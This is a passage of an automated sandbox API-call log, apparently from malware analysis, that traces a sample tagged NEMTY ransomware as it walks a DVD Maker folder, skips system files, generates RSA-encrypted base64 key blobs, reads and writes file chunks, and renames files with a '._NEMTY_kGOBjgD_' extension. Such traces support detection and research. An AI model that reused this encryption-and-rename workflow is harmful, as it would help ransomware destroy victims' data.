pszString="qvSnKrftGRVF4y1cyAnDELLxn6YTOPyiMV5XS18VmCRynOjlbxB48yUsDtBCkSyf\r\nssg8s+nB7a1tRCujG2ZEh9TCeFWFvRuh8U3/lxknZ4rVMgnJokWuGrGeEK5uHnMo\r\nlUne2Da2XQ33/jNGmXLUqCkaRLwFWwIPar0+UUf6P3C/TU4JJzwjEclyrbBUAXqo\r\nXWAHefS2lyxy78DdwaKEmIZk7ZNNmZarDr/WdhLGZK/EkDdbir2wQomWZpvD626c\r\n94pALuvtelOUok43pMyNxOCz1Vq/v5OnFumzWKxT9X8QTKBV+/a7+GRhMXfnek55\r\nv96RLkoIYR3rbGL8k4VIDQ==\r\n", pcchString=0x653ec5c) returned 1 [0063.756] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0063.756] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0063.756] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0063.756] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0063.756] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0063.756] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0063.756] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\heart_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0063.756] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eeb0 | out: lpFileSize=0x653eeb0*=18150282790956772) returned 0 [0063.756] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0063.756] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0063.756] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0063.765] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0063.765] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0063.765] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0063.765] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0063.783] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0063.783] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0063.783] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0063.783] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0063.793] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0063.793] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0063.793] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0063.793] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0063.802] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0063.802] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0063.802] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0063.802] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0063.812] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0063.812] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0063.812] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0063.812] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0063.823] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0063.823] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0063.823] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0063.823] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0063.832] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0063.832] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0063.833] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0063.833] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0063.842] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0063.842] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0063.842] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0063.842] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0063.851] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0063.851] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0063.851] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0063.851] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0063.861] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0063.861] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0063.861] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0063.861] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0063.867] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0063.867] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0063.867] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106061540, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0063.867] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0063.873] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106061540, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0063.873] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0063.873] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163940, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0063.873] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340048, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0063.873] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0063.873] CloseHandle (hObject=0xffffffff) returned 0 [0063.873] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0063.873] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0063.873] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0063.873] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0063.873] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0063.873] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0063.873] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63401b8 [0063.873] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6340260 [0063.873] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0063.873] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0063.873] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\heart_selectionsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_SelectionSubpicture.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\heart_selectionsubpicture.png._nemty_kgobjgd_")) returned 0 [0063.874] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0063.874] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0063.874] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0063.874] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0063.874] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0063.874] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0063.874] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0063.874] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94268 | out: hHeap=0x4f90000) returned 1 [0063.874] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0063.874] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0063.874] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eeebddb, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eeebddb, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1240d9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x166e, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="Heart_VideoInset.png", cAlternateFileName="")) returned 1 [0063.874] lstrcmpiW (lpString1="Heart_VideoInset.png", lpString2=".") returned 1 [0063.874] lstrcmpiW (lpString1="Heart_VideoInset.png", lpString2="..") returned 1 [0063.874] lstrcmpiW (lpString1="Heart_VideoInset.png", lpString2="...") returned 1 [0063.874] lstrcmpiW (lpString1="Heart_VideoInset.png", lpString2="windows") returned -1 [0063.874] lstrcmpiW (lpString1="Heart_VideoInset.png", lpString2="$RECYCLE.BIN") returned 1 [0063.874] lstrcmpiW (lpString1="Heart_VideoInset.png", lpString2="rsa") returned -1 [0063.874] lstrcmpiW (lpString1="Heart_VideoInset.png", lpString2="NTDETECT.COM") returned -1 [0063.874] lstrcmpiW (lpString1="Heart_VideoInset.png", lpString2="ntldr") returned -1 [0063.874] lstrcmpiW (lpString1="Heart_VideoInset.png", lpString2="MSDOS.SYS") returned -1 [0063.874] lstrcmpiW (lpString1="Heart_VideoInset.png", lpString2="IO.SYS") returned -1 [0063.874] lstrcmpiW (lpString1="Heart_VideoInset.png", lpString2="boot.ini") returned 1 [0063.874] lstrcmpiW (lpString1="Heart_VideoInset.png", lpString2="boot.ini") returned 1 [0063.874] lstrcmpiW (lpString1="Heart_VideoInset.png", lpString2="AUTOEXEC.BAT") returned 1 [0063.874] lstrcmpiW (lpString1="Heart_VideoInset.png", lpString2="ntuser.dat") returned -1 [0063.874] lstrcmpiW (lpString1="Heart_VideoInset.png", lpString2="desktop.ini") returned 1 [0063.874] lstrcmpiW (lpString1="Heart_VideoInset.png", lpString2="CONFIG.SYS") returned 1 [0063.874] lstrcmpiW (lpString1="Heart_VideoInset.png", lpString2="RECYCLER") returned -1 [0063.874] lstrcmpiW (lpString1="Heart_VideoInset.png", lpString2="BOOTSECT.BAK") returned 1 [0063.874] lstrcmpiW (lpString1="Heart_VideoInset.png", lpString2="bootmgr") returned 1 [0063.874] lstrcmpiW (lpString1="Heart_VideoInset.png", lpString2="programdata") returned -1 [0063.874] lstrcmpiW (lpString1="Heart_VideoInset.png", lpString2="appdata") returned 1 [0063.874] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0063.874] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Heart_VideoInset.png", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0063.875] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0063.875] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Heart_VideoInset.png", cchWideChar=20, lpMultiByteStr=0x4f9ecb8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Heart_VideoInset.png", lpUsedDefaultChar=0x0) returned 20 [0063.875] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0063.875] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0063.875] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Heart_VideoInset.png", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0063.875] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0063.875] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Heart_VideoInset.png", cchWideChar=20, lpMultiByteStr=0x4f9ecb8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Heart_VideoInset.png", lpUsedDefaultChar=0x0) returned 20 [0063.875] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0063.875] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0063.875] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0063.875] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0063.875] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Heart_VideoInset.png", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0063.875] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0063.875] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Heart_VideoInset.png", cchWideChar=20, lpMultiByteStr=0x4f9ecb8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Heart_VideoInset.png", lpUsedDefaultChar=0x0) returned 20 [0063.875] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0063.875] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0063.875] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Heart_VideoInset.png", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0063.875] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0063.875] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Heart_VideoInset.png", cchWideChar=20, lpMultiByteStr=0x4f9ed58, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Heart_VideoInset.png", lpUsedDefaultChar=0x0) returned 20 [0063.875] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0063.875] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0063.875] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941c0 | out: hHeap=0x4f90000) returned 1 [0063.875] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0063.875] Sleep (dwMilliseconds=0x5) [0063.884] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653ee24 | out: lpSystemTimeAsFileTime=0x653ee24*(dwLowDateTime=0xd9b8e350, dwHighDateTime=0x1d561e7)) [0063.884] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653ee24 | out: lpSystemTimeAsFileTime=0x653ee24*(dwLowDateTime=0xd9b8e350, dwHighDateTime=0x1d561e7)) [0063.884] GetLastError () returned 0x5 [0063.885] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0063.885] GetLastError () returned 0x5 [0063.885] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0063.885] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0063.885] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0063.885] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653ec60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653ec60*=0x100) returned 1 [0063.885] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653ec64*, pdwDataLen=0x653ec50*=0x10, dwBufLen=0x100 | out: pbData=0x653ec64*, pdwDataLen=0x653ec50*=0x100) returned 1 [0063.885] CryptBinaryToStringA (in: pbBinary=0x653ec64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ec5c | out: pszString=0x0, pcchString=0x653ec5c) returned 1 [0063.885] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x4f941c0 [0063.885] CryptBinaryToStringA (in: pbBinary=0x653ec64, cbBinary=0x100, dwFlags=0x1, pszString=0x4f941c0, pcchString=0x653ec5c | out: pszString="ZQHktZ/YWI5LIPQAp4hBUvERjmH6zE9ImCXzLjHM6p4rLK3g/+TRaNXUcFMvdSEj\r\nBK4Q7RbjZ1AgDu/VY+eXwOoN0sEE3JjQsUtfJEnWiTgSxlwO2Pg2sx66Gvq4KXjc\r\ndiMkZCoGiaSYgm8leGdL9aFdiW0qWGlO16FPKsEGkEw9JKPmeRJZO9vv6LCFv416\r\nKb4iD1tHox57TqzVOXm5INb59WQ4HHPNWAObq2iGJYj9Shb34/AqaImQk3lX4gNP\r\nzk8MKW3Yk3jT8ccoXYmfpRXLgh1K1ShUGTooeNuCJB0OC0JHmAustxj23qXVddnc\r\nRz404nZHlwPTGuS4hm4uEw==\r\n", pcchString=0x653ec5c) returned 1 [0063.885] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0063.885] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941c0 | out: hHeap=0x4f90000) returned 1 [0063.885] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0063.885] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0063.885] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x4f941c0 [0063.885] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0063.885] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_VideoInset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\heart_videoinset.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0063.885] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eeb0 | out: lpFileSize=0x653eeb0*=18150282790956772) returned 0 [0063.885] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0063.885] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0063.885] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0063.895] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481970, lpDistanceToMoveHigh=0x0, 